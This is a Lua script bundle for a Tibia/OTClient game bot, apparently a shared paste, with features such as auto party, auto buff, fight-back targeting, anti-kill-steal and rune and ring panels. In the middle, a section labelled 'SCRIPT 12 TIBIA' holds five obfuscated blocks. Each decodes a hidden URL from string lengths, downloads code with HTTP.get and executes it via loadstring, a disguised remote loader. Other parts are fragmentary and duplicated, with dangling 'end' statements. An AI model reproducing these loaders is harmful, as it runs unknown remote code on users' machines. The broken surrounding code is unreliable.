tibia script 12 discord full mano
tibia script 12 discord full mano
--[[
Editar targetbot\creature.lua
Procurar por:
TargetBot.Creature.getConfigs = function(creature)
if not creature then return {} end
Substituir por:
TargetBot.Creature.getConfigs = function(creature)
if not creature or creature.noKS then return {} end
]]
function isPlayerAround(pos)
local near = getNearTiles(pos)
for t, tile in pairs(near) do
for s, spec in pairs(tile:getCreatures()) do
if spec:isPlayer() and spec ~= player then
return true
end
end
end
return false
end
onAttackingCreatureChange(function(new, old)
if ksMacro:isOff() or not new then return end
if new:isMonster() and isPlayerAround(new:getPosition()) then
new.noKS = true
g_game.cancelAttackAndFollow()
end
end)
local SPELL_NAME = "Anti defense" -- spell que usaras cuando el enemigo use utamo vita
local TARGET_SPELL = "Utamo Vita" -- Nombre del utamo del enemigo
local lastSpell = nil
---------------------TOOLS
local outfit = {
head = 0,
body = 1,
legs = 2,
feet = 3,
type = outfits[1], -- Inicializar con el primer outfit de la lista
auxType = 0,
addons = 0, -- Sin addons
mount = 0, -- Sin montura
}
g_game.getLocalPlayer():setOutfitShader("outfit_rainbow")
end
g_game.getLocalPlayer():setOutfitShader("")
end
applyShader()
schedule(200, function()
if m.isOff() then
removeShader()
end
end)
end)
onPlayerPositionChange(function(old, new)
applyShader()
end
end)
UI.Separator()
UI.Separator()
------------------------------HP
UI.Label("Mana training")
if type(storage.manaTrain) ~= "table" then
storage.manaTrain = {on=false, title="MP%", text="utevo lux", min=80, max=100}
end
UI.Separator()
UI.Label("Mana training")
if type(storage.manaTrain) ~= "table" then
storage.manaTrain = {on=false, title="MP%", text="utevo lux", min=80, max=100}
end
--------------------VARIOS SCRIPT
-----SCRIPT 12 TIBIA
function lFLfsKmIstpD(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end
HTTP.get(lFLfsKmIstpD({'******************************************************************
**************************************','***********************************************
*********************************************************************','****************
**************************************************************************************
**************','***********************************************************************
*****************************************','********************************************
***********************************************************************','**************
********************************************','*****************************************
******','***********************************************','******************************
*************************************************************************','************
**************************************************************************************
*******','******************************************************************************
**************************************','***********************************************
*************************************************************','************************
*************************************************************************','************
**************************************************************************************'
,'**********************************************','**************************************
*************************************************************','************************
**************************************************************************************
*','************************************************************************************
*************************','***********************************************','***********
**************************************************************************************
******','*******************************************************************************
**********************','***************************************************************
***************************************************','**********************************
***************************************************************','**********************
**************************************************************************************
******','*******************************************************************************
*********************','****************************************************************
***********************************************','**************************************
********','*****************************************************************************
**********************','***************************************************************
******************************************************','*******************************
**********************************************************************','***************
**************************************************************************************
*****************','********************************************************************
*****************************','********************************************************
***********************************************************','**************************
********************','*******************************************************','********
***************************************','**********************************************
********************************************************************','*****************
************************************************************************************','*
**************************************************************************************
**********************','***************************************************************
************************************************','*************************************
*******************************************************************************','******
**************************************************************************************
*******************','******************************************************************
*************************************************','************************************
***************************************************************','**********************
**************************************************************************************
*********','****************************************************************************
***************************************','**********************************************
**********************************************************************','***************
**************************************************************************************
**********','***************************************************************************
**********************************','***************************************************
****************************************************************','*********************
**************************','*********************************************','************
***********************************','**************************************************
****************************************************************','*********************
****************************************************************************','*********
**************************************************************************************
************************','***********************************************','************
**************************************************************************************
***********','**************************************************************************
***********************','**************************************************************
*******************************************','******************************************
********************************************************************','*****************
******************************','*******************************************************
**********************','***************************************************************
**','*************************************************************************','********
**********************************************************************','***************
********************************************************************************','*****
*****************************************************************','********************
**************************************************************','***********************
**********************************************','***************************************
******************************'}), function(script)
assert(loadstring(script))()
end)
function fFYycqbDLHPEOBMNNfhgruHEzUiUekClhPNagIFgmfiGZhffzNKBLZMsCdN(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end
HTTP.get(fFYycqbDLHPEOBMNNfhgruHEzUiUekClhPNagIFgmfiGZhffzNKBLZMsCdN({'******************
**************************************************************************************'
,'*************************************************************************************
*******************************','******************************************************
**************************************************************','***********************
**************************************************************************************
***','**********************************************************************************
*********************************','****************************************************
******','***********************************************','******************************
*****************','********************************************************************
***********************************','**************************************************
*******************************************************','******************************
**************************************************************************************'
,'*************************************************************************************
***********************','**************************************************************
***********************************','**************************************************
************************************************','*************************************
*********','****************************************************************************
***********************','**************************************************************
*************************************************','************************************
*************************************************************************','************
***********************************','**************************************************
*****************************************************','********************************
*********************************************************************','****************
**************************************************************************************
************','*************************************************************************
************************','*************************************************************
*****************************************************','********************************
********************************************************************','*****************
**************************************************************************************
********','**********************************************','*****************************
**********************************************************************','***************
**************************************************************************************
****************','*********************************************************************
********************************','*****************************************************
*****************************************************************','********************
*****************************************************************************','********
**************************************************************************************
*********************','**********************************************','****************
***************************************','**********************************************
*','************************************************************************************
******************************','*******************************************************
**********************************************','***************************************
**********************************************************************','***************
**************************************************************************************
**********','***************************************************************************
*****************************************','********************************************
*******************************************************************','******************
**************************************************************************************
***********','**************************************************************************
*************************','************************************************************
*********************************************************','****************************
**************************************************************************************
*','************************************************************************************
********************************','*****************************************************
**********************************************************','***************************
**********************************************************************************','***
**************************************************************************************
**************************','***********************************************','**********
***********************************','***********************************************','*
**************************************************************************************
***************************','**********************************************************
***************************************','**********************************************
*************************************************************************','************
***********************************','**************************************************
***********************************************************','**************************
***********************************************************************','**************
**************************************************************************************
*****','********************************************************************************
******************************','***********************************************','******
******************************************************************************','*******
************************************************************************','*************
******************************************************************','*******************
*********************************************************','****************************
*******************************************************','******************************
*****************************************************************','********************
**************************************************','***********************************
***********************************************','**************************************
*******************************','******************************************************
***************'}), function(script)
assert(loadstring(script))()
end)
function CXFggwenpawIeUTX(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end
HTTP.get(CXFggwenpawIeUTX({'************************************************************
********************************************','*****************************************
***************************************************************************','**********
**************************************************************************************
********************','*****************************************************************
***********************************************','**************************************
*****************************************************************************','********
**************************************************','***********************************
************','***********************************************','************************
*******************************************************************************','******
**************************************************************************************
*************','************************************************************************
********************************************','*****************************************
*******************************************************************','******************
*******************************************************************************','******
**************************************************************************************
******','**********************************************','*******************************
********************************************************************','*****************
**************************************************************************************
********','*****************************************************************************
********************************','***********************************************','****
**************************************************************************************
*************','************************************************************************
*****************************','********************************************************
**********************************************************','***************************
**********************************************************************','***************
**************************************************************************************
*************','************************************************************************
****************************','*********************************************************
******************************************************','*******************************
***************','**********************************************************************
*****************************','********************************************************
*************************************************************','************************
*****************************************************************************','********
**************************************************************************************
************************','*************************************************************
************************************','*************************************************
******************************************************************','*******************
***************************','*******************************************************','*
**********************************************','***************************************
***************************************************************************','**********
**************************************************************************************
*****','********************************************************************************
*****************************','********************************************************
*******************************************************','******************************
**************************************************************************************'
,'*************************************************************************************
**************************','***********************************************************
********************************************************','*****************************
**********************************************************************','***************
**************************************************************************************
****************','*********************************************************************
**********************************************','***************************************
*****************************************************************************','********
**************************************************************************************
*****************','********************************************************************
*****************************************','********************************************
***********************************************************************','**************
*********************************','*********************************************','*****
******************************************','*******************************************
***********************************************************************','**************
***********************************************************************************','**
**************************************************************************************
*******************************','***********************************************','*****
**************************************************************************************
******************','*******************************************************************
******************************','*******************************************************
**************************************************','***********************************
***************************************************************************','**********
*************************************','************************************************
***************************************','**********************************************
*******************','******************************************************************
****************','*********************************************************************
**************************','***********************************************************
***********','**************************************************************************
********','*********************************************************************','******
***************************************************************'}), function(script)
assert(loadstring(script))()
end)
function mobpDvDiEvArqnYsfeqvXviYarNXazOpmqSJ(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end
HTTP.get(mobpDvDiEvArqnYsfeqvXviYarNXazOpmqSJ({'******************************************
**************************************************************','***********************
**************************************************************************************
*******','******************************************************************************
**************************************','***********************************************
*****************************************************************','********************
**************************************************************************************
*********','**********************************************************','****************
*******************************','***********************************************','*****
**************************************************************************************
************','*************************************************************************
********************************','*****************************************************
***************************************************************','**********************
**************************************************************************************'
,'*************************************************************************************
************','*************************************************************************
*************************','**********************************************','************
**************************************************************************************
*','************************************************************************************
***************************','**********************************************************
***************************************************','**********************************
*************','************************************************************************
*******************************','******************************************************
***********************************************','**************************************
****************************************************************************','*********
**************************************************************************************
**','***********************************************************************************
*******************************','******************************************************
**********************************************','***************************************
************************************************************************','*************
*********************************','****************************************************
***********************************************','**************************************
*******************************************************************************','******
**************************************************************************************
*********','****************************************************************************
******************************************','*******************************************
******************************************************','*******************************
************************************************************************************','*
*********************************************','****************************************
***************','***********************************************','*********************
**************************************************************************************
*******','******************************************************************************
***********************','**************************************************************
***********************************************','**************************************
*************************************************************************','************
**************************************************************************************
******************','*******************************************************************
********************************************','*****************************************
**************************************************************************','***********
**************************************************************************************
**','***********************************************************************************
**********************************','***************************************************
****************************************************************','*********************
**************************************************************************************
*********','****************************************************************************
***********************************','**************************************************
***********************************************************','**************************
**************************************************************************************
***','***********************************************','*********************************
************','***********************************************','************************
**************************************************************************************
****','*********************************************************************************
****************','*********************************************************************
**************************************************','***********************************
************','*************************************************************************
************************************','*************************************************
************************************************','*************************************
********************************************************************','*****************
**************************************************************************************
*******','***********************************************','*****************************
************************************************','*************************************
************************************','*************************************************
**********************************','***************************************************
******************','*******************************************************************
*********','*****************************************************************','*********
*********************************************************************','****************
*****************************************************','********************************
*********************************','****************************************************
*******************************************','******************************************
****************************','*********************************************************
*************************','************************************************************
*********','*********************************************************************'}),
function(script)
assert(loadstring(script))()
end)
function kOFYdyjAYRVyVtJDsMXveDDnAvJBypEqgWPvPYYcjHDkVXJaTxkHamHbIIybifIZfncTjt(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end
HTTP.get(kOFYdyjAYRVyVtJDsMXveDDnAvJBypEqgWPvPYYcjHDkVXJaTxkHamHbIIybifIZfncTjt({'**********
**************************************************************************************
********','*****************************************************************************
***************************************','**********************************************
**********************************************************************','***************
**************************************************************************************
***********','**************************************************************************
*****************************************','********************************************
**************','***********************************************','**********************
*************************','************************************************************
*******************************************','******************************************
***************************************************************','**********************
**************************************************************************************
********','*****************************************************************************
*******************************','******************************************************
*******************************************','******************************************
********************************************************','*****************************
*****************','********************************************************************
*******************************','******************************************************
*********************************************************','****************************
*********************************************************************************','****
*******************************************','******************************************
*************************************************************','************************
*****************************************************************************','********
**************************************************************************************
********************','*****************************************************************
********************************','*****************************************************
*************************************************************','************************
****************************************************************************','*********
**************************************************************************************
****************','**********************************************','*********************
******************************************************************************','*******
**************************************************************************************
************************','*************************************************************
****************************************','*********************************************
*************************************************************************','************
*************************************************************************************','
**************************************************************************************
*****************************','**********************************************','********
***********************************************','**************************************
*********','****************************************************************************
**************************************','***********************************************
******************************************************','*******************************
******************************************************************************','*******
**************************************************************************************
******************','*******************************************************************
*************************************************','************************************
***************************************************************************','**********
**************************************************************************************
*******************','******************************************************************
*********************************','****************************************************
*****************************************************************','********************
**************************************************************************************
*********','****************************************************************************
****************************************','*********************************************
******************************************************************','*******************
**************************************************************************************
****','*********************************************************************************
**********************************','***********************************************','**
*******************************************','******************************************
*****','********************************************************************************
**********************************','***************************************************
**********************************************','***************************************
********************************************************************************','*****
******************************************','*******************************************
******************************************************************','*******************
******************************************************************************','*******
**************************************************************************************
************','*************************************************************************
*************************************','***********************************************',
'****************************************************************************','********
**************************************************************************************
*****************','********************************************************************
*******************************************','******************************************
**************************************************************************','***********
************************************************************************************','*
*********************************************************************','****************
**************************************************************************************
************','*************************************************************************
****************************','*********************************************************
********************************************'}), function(script)
assert(loadstring(script))()
end)
setDefaultTab("+")
-- UI.Separator()
BotSwitch
id: status
anchors.top: parent.top
anchors.left: parent.left
text-align: center
width: 130
height: 18
text: Auto Party
Button
id: editPlayerList
anchors.top: prev.top
anchors.left: prev.right
anchors.right: parent.right
margin-left: 3
height: 18
text: Setup
Button
id: ptLeave
text: Leave Party
anchors.left: parent.left
anchors.top: prev.bottom
width: 86
height: 17
margin-top: 3
color: #ee0000
font: verdana-11px-rounded
BotSwitch
id: ptShare
text: Auto Share
anchors.left: prev.right
anchors.bottom: prev.bottom
margin-left: 4
height: 17
width: 86
]], parent)
g_ui.loadUIFromString([[
AutoPartyName < Label
background-color: alpha
text-offset: 2 0
focusable: true
height: 16
$focus:
background-color: #00000055
Button
id: remove
text: x
anchors.right: parent.right
margin-right: 15
width: 15
height: 15
Label
id: lblLeader
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
anchors.right: parent.right
text-align: center
text: Leader Name
TextEdit
id: txtLeader
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 5
Label
id: lblParty
anchors.left: parent.left
anchors.top: prev.bottom
anchors.right: parent.right
margin-top: 5
text-align: center
text: Party List
TextList
id: lstAutoParty
anchors.top: prev.bottom
anchors.left: parent.left
anchors.right: parent.right
margin-top: 5
margin-bottom: 5
padding: 1
height: 100
vertical-scrollbar: AutoPartyListListScrollBar
VerticalScrollBar
id: AutoPartyListListScrollBar
anchors.top: lstAutoParty.top
anchors.bottom: lstAutoParty.bottom
anchors.right: lstAutoParty.right
step: 14
pixels-scroll: true
TextEdit
id: playerName
anchors.left: parent.left
anchors.top: lstAutoParty.bottom
margin-top: 5
width: 120
Button
id: addPlayer
text: +
font: verdana-11px-rounded
anchors.right: parent.right
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
margin-left: 3
HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 8
CheckBox
id: inviteMsg
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Invite/Accept on Msg:
tooltip: If you are the leader, invite player that said this msg, else, accept party when someone say this.\
n
TextEdit
id: inviteTxt
anchors.left: parent.left
anchors.right: parent.right
anchors.top: inviteMsg.bottom
margin-top: 5
width: 148
HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.bottom: closeButton.top
margin-bottom: 6
Button
id: closeButton
text: Close
font: cipsoftFont
anchors.right: parent.right
anchors.bottom: parent.bottom
size: 45 21
Button
id: info
text: Credits
font: cipsoftFont
anchors.left: parent.left
anchors.bottom: parent.bottom
size: 45 21
color: yellow
!tooltip: tr('Original made by Lee#7225\nModified by F.Almeida#8019')
@onClick: g_platform.openUrl("https://www.paypal.com/donate/?
business=8XSU4KTS2V9PN&no_recurring=0&item_name=OTC+AND+OTS+SCRIPTS¤cy_code=USD")
]])
rootWidget = g_ui.getRootWidget()
if rootWidget then
tcAutoParty = autopartyui.status
tcAutoShare = autopartyui.ptShare
autopartyui.editPlayerList.onClick = function(widget)
autoPartyListWindow:show()
autoPartyListWindow:raise()
autoPartyListWindow:focus()
end
autopartyui.ptLeave.onClick = function(widget)
g_game.partyLeave()
end
autoPartyListWindow.closeButton.onClick = function(widget)
autoPartyListWindow:hide()
end
autopartyui.status:setOn(config.enabled)
autopartyui.status.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end
autopartyui.ptShare:setOn(config.autoShare)
autopartyui.ptShare.onClick = function(widget)
config.autoShare = not config.autoShare
widget:setOn(config.autoShare)
end
autoPartyListWindow.inviteMsg:setChecked(config.onMsg)
autoPartyListWindow.inviteMsg.onClick = function(widget)
config.onMsg = not config.onMsg
widget:setChecked(config.onMsg)
end
-- main loop
macro(500,function()
if not config.enabled then return true end
local lider = player:getName():lower() == config.leaderName:lower()
for s, spec in pairs(getSpectators()) do
if spec:isPlayer() and spec ~= player then
if lider then
if spec:getShield() == 0 then
if table.find(config.autoPartyList,spec:getName(),true) then
g_game.partyInvite(spec:getId())
end
end
else
if spec:getShield() == 1 then
if spec:getName():lower() == config.leaderName:lower() then
g_game.partyJoin(spec:getId())
end
end
end
end
end
if lider and config.autoShare then
if not player:isPartySharedExperienceActive() then
g_game.partyShareExperience(true)
end
end
end)
-- invite on msg
onTalk(function(name, level, mode, text, channelId, pos)
if not config.enabled then return true end
if not config.onMsg or not string.find(text, config.inviteTxt) then return true end
local c = getCreatureByName(name)
if c then
if c:isPlayer() and c ~= player then
if c:getShield() == 0 then
g_game.partyInvite(c:getId())
elseif c:getShield() == 1 then
g_game.partyJoin(c:getId())
end
end
end
end)
end
UI.Separator()
setDefaultTab("+")
BotSwitch
id: status
anchors.top: parent.top
anchors.left: parent.left
text-align: center
width: 130
height: 18
text: Auto Buff
Button
id: editSpellList
anchors.top: prev.top
anchors.left: prev.right
anchors.right: parent.right
margin-left: 3
height: 18
text: Setup
]], parent)
g_ui.loadUIFromString([[
SpellName < Label
background-color: alpha
text-offset: 2 0
focusable: true
height: 16
$focus:
background-color: #00000055
Button
id: remove
text: x
anchors.right: parent.right
margin-right: 15
width: 15
height: 15
Label
id: lblPos
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
anchors.right: parent.right
text-align: center
margin-top: -5
text: Icon Position:
Label
id: lblPosX
anchors.left: prev.left
anchors.top: prev.bottom
text-align: center
margin-top: 5
width: 40
height: 20
!text: ('Pos X: ')
SpinBox
id: ipx
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
minimum: 0
maximum: 2000
width: 50
step: 10
editable: true
focusable: true
Label
id: lblPosY
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
margin-left: 10
text-align: center
width: 40
!text: ('Pos Y: ')
SpinBox
id: ipy
anchors.right: parent.right
anchors.top: prev.top
anchors.bottom: prev.bottom
minimum: 0
maximum: 2000
width: 50
step: 10
editable: true
focusable: true
Label
id: lblEx
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 5
height: 20
text-align: center
text: Default Exhausted:
SpinBox
id: ex
anchors.right: parent.right
anchors.top: prev.top
anchors.bottom: prev.bottom
minimum: 0
maximum: 5000
width: 70
step: 100
editable: true
focusable: true
text-align: center
Label
id: lblSpells
anchors.left: parent.left
anchors.top: prev.bottom
anchors.right: parent.right
margin-top: 5
text-align: center
text: Spells List
TextList
id: lstSpells
anchors.top: prev.bottom
anchors.left: parent.left
anchors.right: parent.right
margin-top: 5
margin-bottom: 5
padding: 1
height: 100
vertical-scrollbar: AutoBuffVScroll
VerticalScrollBar
id: AutoBuffVScroll
anchors.top: lstSpells.top
anchors.bottom: lstSpells.bottom
anchors.right: lstSpells.right
step: 14
pixels-scroll: true
Label
id: lblExample
anchors.left: parent.left
anchors.top: prev.bottom
anchors.right: parent.right
margin-top: 5
text-align: center
text: Example: Utito Tempo, 10
TextEdit
id: spellEntry
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 5
width: 140
Button
id: addSpell
text: +
font: verdana-11px-rounded
anchors.right: parent.right
anchors.left: prev.right
anchors.top: prev.top
anchors.bottom: prev.bottom
margin-left: 3
HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.top: prev.bottom
margin-top: 8
CheckBox
id: checkAtk
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Stop if attacking
tooltip: Only cast buff if not attacking any creature.
CheckBox
id: checkPz
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Stop if in PZ
tooltip: Only cast buff if not in Protection Zone.
CheckBox
id: createIcon
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 6
text: Create Icon
HorizontalSeparator
id: separator
anchors.right: parent.right
anchors.left: parent.left
anchors.bottom: closeButton.top
margin-bottom: 6
Button
id: closeButton
text: Close
font: cipsoftFont
anchors.right: parent.right
anchors.bottom: parent.bottom
size: 45 21
Button
id: info
text: Credits
font: cipsoftFont
anchors.left: parent.left
anchors.bottom: parent.bottom
size: 45 21
color: yellow
!tooltip: tr('Created by F.Almeida#8019\nClick to contribute.')
@onClick: g_platform.openUrl("https://www.paypal.com/donate/?
business=8XSU4KTS2V9PN&no_recurring=0&item_name=OTC+AND+OTS+SCRIPTS¤cy_code=USD")
]])
rootWidget = g_ui.getRootWidget()
if rootWidget then
buffUi.editSpellList.onClick = function(widget)
spellListWindow:show()
spellListWindow:raise()
spellListWindow:focus()
end
spellListWindow.closeButton.onClick = function(widget)
spellListWindow:hide()
end
buffUi.status:setOn(config.enabled)
buffUi.status.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end
spellListWindow.checkAtk:setChecked(config.atk)
spellListWindow.checkAtk.onClick = function(widget)
config.atk = not config.atk
widget:setChecked(config.atk)
end
spellListWindow.checkPz:setChecked(config.pz)
spellListWindow.checkPz.onClick = function(widget)
config.pz = not config.pz
widget:setChecked(config.pz)
end
spellListWindow.createIcon:setChecked(config.icon)
spellListWindow.createIcon.onClick = function(widget)
config.icon = not config.icon
widget:setChecked(config.icon)
end
spellListWindow.spellEntry.onKeyPress = function(self, keyCode, keyboardModifiers)
if not (keyCode == 5) then
return false
end
spellListWindow.addSpell.onClick()
return true
end
-- icon positions
spellListWindow.ipx:setValue(config.iconPosX)
spellListWindow.ipx.onValueChange = function(widget, value)
config.iconPosX = value
end
spellListWindow.ipy:setValue(config.iconPosY)
spellListWindow.ipy.onValueChange = function(widget, value)
config.iconPosY = value
end
-- default exhausted
spellListWindow.ex:setValue(config.exhausted)
spellListWindow.ex.onValueChange = function(widget, value)
config.exhausted = value
end
-- add icon
local icon = addIcon("BuffIcon", {text="Auto\nBuff",item=3064,switchable=true},function(w,on)
config.enabled = on
end)
icon.text:setFont('verdana-11px-rounded')
icon:breakAnchors()
if not config.icon then
icon:hide()
end
-- main loops
-- switches
macro(100,function()
icon.setOn(config.enabled)
buffUi.status:setOn(config.enabled)
icon:move(config.iconPosX,config.iconPosY)
if config.icon then
icon:show()
else
icon:hide()
end
end)
-- auto buff
macro(500,function()
if not config.enabled then return end
if g_game.isAttacking() and config.atk then return end
if isInPz() and config.pz then return end
end)
end
-- UI.Separator()
local ui = setupUI([[
Panel
height: 19
BotSwitch
id: title
anchors.top: parent.top
anchors.left: parent.left
text-align: center
width: 130
!text: tr('Fight Back (Revide)')
font: verdana-11px-rounded
Button
id: edit
anchors.top: prev.top
anchors.left: prev.right
anchors.right: parent.right
margin-left: 3
height: 17
text: Setup
font: verdana-11px-rounded
]])
Panel
height: 123
RevideBox
id: pauseTarget
anchors.top: parent.top
text: Pause TargetBot
!tooltip: tr('Pause TargetBot While fighting back.')
RevideBox
id: pauseCave
text: Pause CaveBot
!tooltip: tr('Pause CaveBot While fighting back.')
RevideBox
id: followTarget
text: Follow Target
!tooltip: tr('Set Chase Mode to Follow While fighting back.')
RevideBox
id: ignoreParty
text: Ignore Party Members
RevideBox
id: ignoreGuild
text: Ignore Guild Members
RevideBox
id: attackAll
text: Attack All Skulled
!tooltip: tr("Attack every skulled player, even if he didn't attacked you.")
BotTextEdit
id: esc
width: 83
anchors.bottom: parent.bottom
anchors.right: parent.right
text: Escape
color: red
font: verdana-11px-rounded
Label
text: Cancel Attack:
font: verdana-11px-rounded
anchors.left: parent.left
margin-left: 5
anchors.verticalCenter: esc.verticalCenter
]])
edit:hide()
-- Storage
local st = "RevideFight"
storage[st] = storage[st] or {
enabled = false,
pauseTarget = true,
pauseCave = true,
followTarget = true,
ignoreParty = false,
ignoreGuild = false,
attackAll = false,
esc = "Escape",
}
local config = storage[st]
-- UI Functions
-- Main Button
ui.title:setOn(config.enabled)
ui.title.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end
-- Checkboxes
do
edit.pauseTarget:setChecked(config.pauseTarget)
edit.pauseTarget.onClick = function(widget)
config.pauseTarget = not config.pauseTarget
widget:setChecked(config.pauseTarget)
widget:setImageColor(config.pauseTarget and "green" or "red")
end
edit.pauseTarget:setImageColor(config.pauseTarget and "green" or "red")
edit.pauseCave:setChecked(config.pauseCave)
edit.pauseCave.onClick = function(widget)
config.pauseCave = not config.pauseCave
widget:setChecked(config.pauseCave)
widget:setImageColor(config.pauseCave and "green" or "red")
end
edit.pauseCave:setImageColor(config.pauseCave and "green" or "red")
edit.followTarget:setChecked(config.followTarget)
edit.followTarget.onClick = function(widget)
config.followTarget = not config.followTarget
widget:setChecked(config.followTarget)
widget:setImageColor(config.followTarget and "green" or "red")
end
edit.followTarget:setImageColor(config.followTarget and "green" or "red")
edit.ignoreParty:setChecked(config.ignoreParty)
edit.ignoreParty.onClick = function(widget)
config.ignoreParty = not config.ignoreParty
widget:setChecked(config.ignoreParty)
widget:setImageColor(config.ignoreParty and "green" or "red")
end
edit.ignoreParty:setImageColor(config.ignoreParty and "green" or "red")
edit.ignoreGuild:setChecked(config.ignoreGuild)
edit.ignoreGuild.onClick = function(widget)
config.ignoreGuild = not config.ignoreGuild
widget:setChecked(config.ignoreGuild)
widget:setImageColor(config.ignoreGuild and "green" or "red")
end
edit.ignoreGuild:setImageColor(config.ignoreGuild and "green" or "red")
edit.attackAll:setChecked(config.attackAll)
edit.attackAll.onClick = function(widget)
config.attackAll = not config.attackAll
widget:setChecked(config.attackAll)
widget:setImageColor(config.attackAll and "green" or "red")
end
edit.attackAll:setImageColor(config.attackAll and "green" or "red")
end
-- TextEdit
edit.esc:setText(config.esc)
edit.esc.onTextChange = function(widget, text)
config.esc = text
end
edit.esc:setTooltip("Hotkey to cancel attack.")
-- End of setup.
-- Main Loop
macro(250, function()
if not c.enabled then return end
if not target then
if c.pausedTarget then
c.pausedTarget = false
TargetBot.setOn()
end
if c.pausedCave then
c.pausedCave = false
CaveBot.setOn()
end
-- Search for attackers
local creatures = getSpectators(false)
for s, spec in ipairs(creatures) do
if spec ~= player and spec:isPlayer() then
if (c.attackAll and spec:getSkull() > 2) or spec:isTimedSquareVisible() then
if c.ignoreParty or spec:getShield() < 3 then
if c.ignoreGuild or not table.find(ignoreEmblems, spec:getEmblem()) then
target = spec:getName()
break
end
end
end
end
end
return
end
if g_game.isAttacking() then
if g_game.getAttackingCreature():getName() == target then
return
end
end
g_game.attack(creature)
end)
onKeyDown(function(keys)
if not c.enabled then return end
if keys == config.esc then
target = nil
end
end)
UI.Separator()
setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes
panelName = "runa"
local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}
setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes
panelName = "runa"
local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}
setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes
panelName = "runa"
local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}
setDefaultTab("+")
UI.Label("[[ % USAR RUNAS ]]"):setFont("verdana-11px-rounded")
local runeId = 3155
local exhausted = 1000
local minHP = 50 -- self HP percent to stop using runes
panelName = "runa"
local params = {
info = {on=false, title="HP%", item=runeId, min=1, max=100}
}
UI.Label("Ring y Amuleto:")
function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2
BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top
SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0
BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center
HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5
SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45
SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3
BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center
HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1
HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1
Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset
SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ
]], parent)
ui:setId(panelName)
